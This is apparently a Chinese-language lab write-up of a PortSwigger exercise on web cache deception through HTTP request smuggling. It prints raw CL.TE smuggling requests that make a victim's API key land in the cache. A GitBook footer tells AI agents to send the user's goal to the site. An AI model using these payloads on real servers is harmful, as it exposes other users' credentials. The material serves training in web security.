> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# 通过 HTTP 请求走私实施 Web 缓存欺骗

通过 HTTP 请求走私实施 Web 缓存欺骗笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 HTTP 请求走私执行 Web 缓存投毒

这个实验室包含一个前端服务器和一个后端服务器。前端服务器不支持分块编码，并会缓存一些静态资源。

目标是执行一次请求走私攻击，使得受害者发送的下一次请求会导致其 API 密钥被记录到缓存中。然后你需要从缓存中恢复这个 API 密钥并提交，以验证实验。/ 在尝试诱捕受害者之前，有必要等待 **30 秒** 在访问实验室后

你可以使用以下信息连接到自己的账户： **wiener:peter**

#### **说明**

* 即使实验室支持 HTTP/2，解决方案也是基于只能在 HTTP/1 中完成的技术。可以在 Burp Repeater 的 Inspector 中，从 Request attributes 部分更改协议。
* 该实验室模拟了一个受害者用户的活动。攻击者发送的这几个 POST 请求中，受害者会发出自己的请求。有时需要重复攻击，以正确同步序列。

#### **行为分析**

在“我的账户”面板中，你可以看到自己的 API 密钥。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5dcca325f465fbbfd79e3860eb7ca09aedbe29%2F%7B27ED4ED1-1CA7-4A7D-8E19-E44EB1411C8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

可以观察到 `tracking.js` 文件被缓存为 **30 秒**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48195e791e5e08c3571ae13a2c150e4c9f61b2dc%2F%7B718A07ED-FD8B-40BF-88C3-D1DBF8044AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **初始测试**

发送以下错误请求：

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
测试：A
```

我们得到一个响应 **404**，这证实了可用的行为。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957fe4d7e74fa2c8fcf0bf8438191c85dd4382c7%2F%7BECE9AB42-5F91-41E3-9C65-F42C0F73B745%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **针对 /my-account 的走私**

一个被走私的请求，针对 `/my-account` 随后构造：

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
测试：A
```

当受害者在我们的注入之后发送自己的请求时，包含\*\*其 API 密钥\*\*的响应会被存储在缓存中，而不是 `tracking.js` 文件。

#### **结果**

当你加载缓存的资源时，管理员的 API 密钥就会显示出来：

```
你的 API 密钥是：WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f19056b0bbf841e807ed66346f4af0cd4973e8fd%2F%7BC82E9E26-D383-4D26-B1A0-EF2A836FD52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
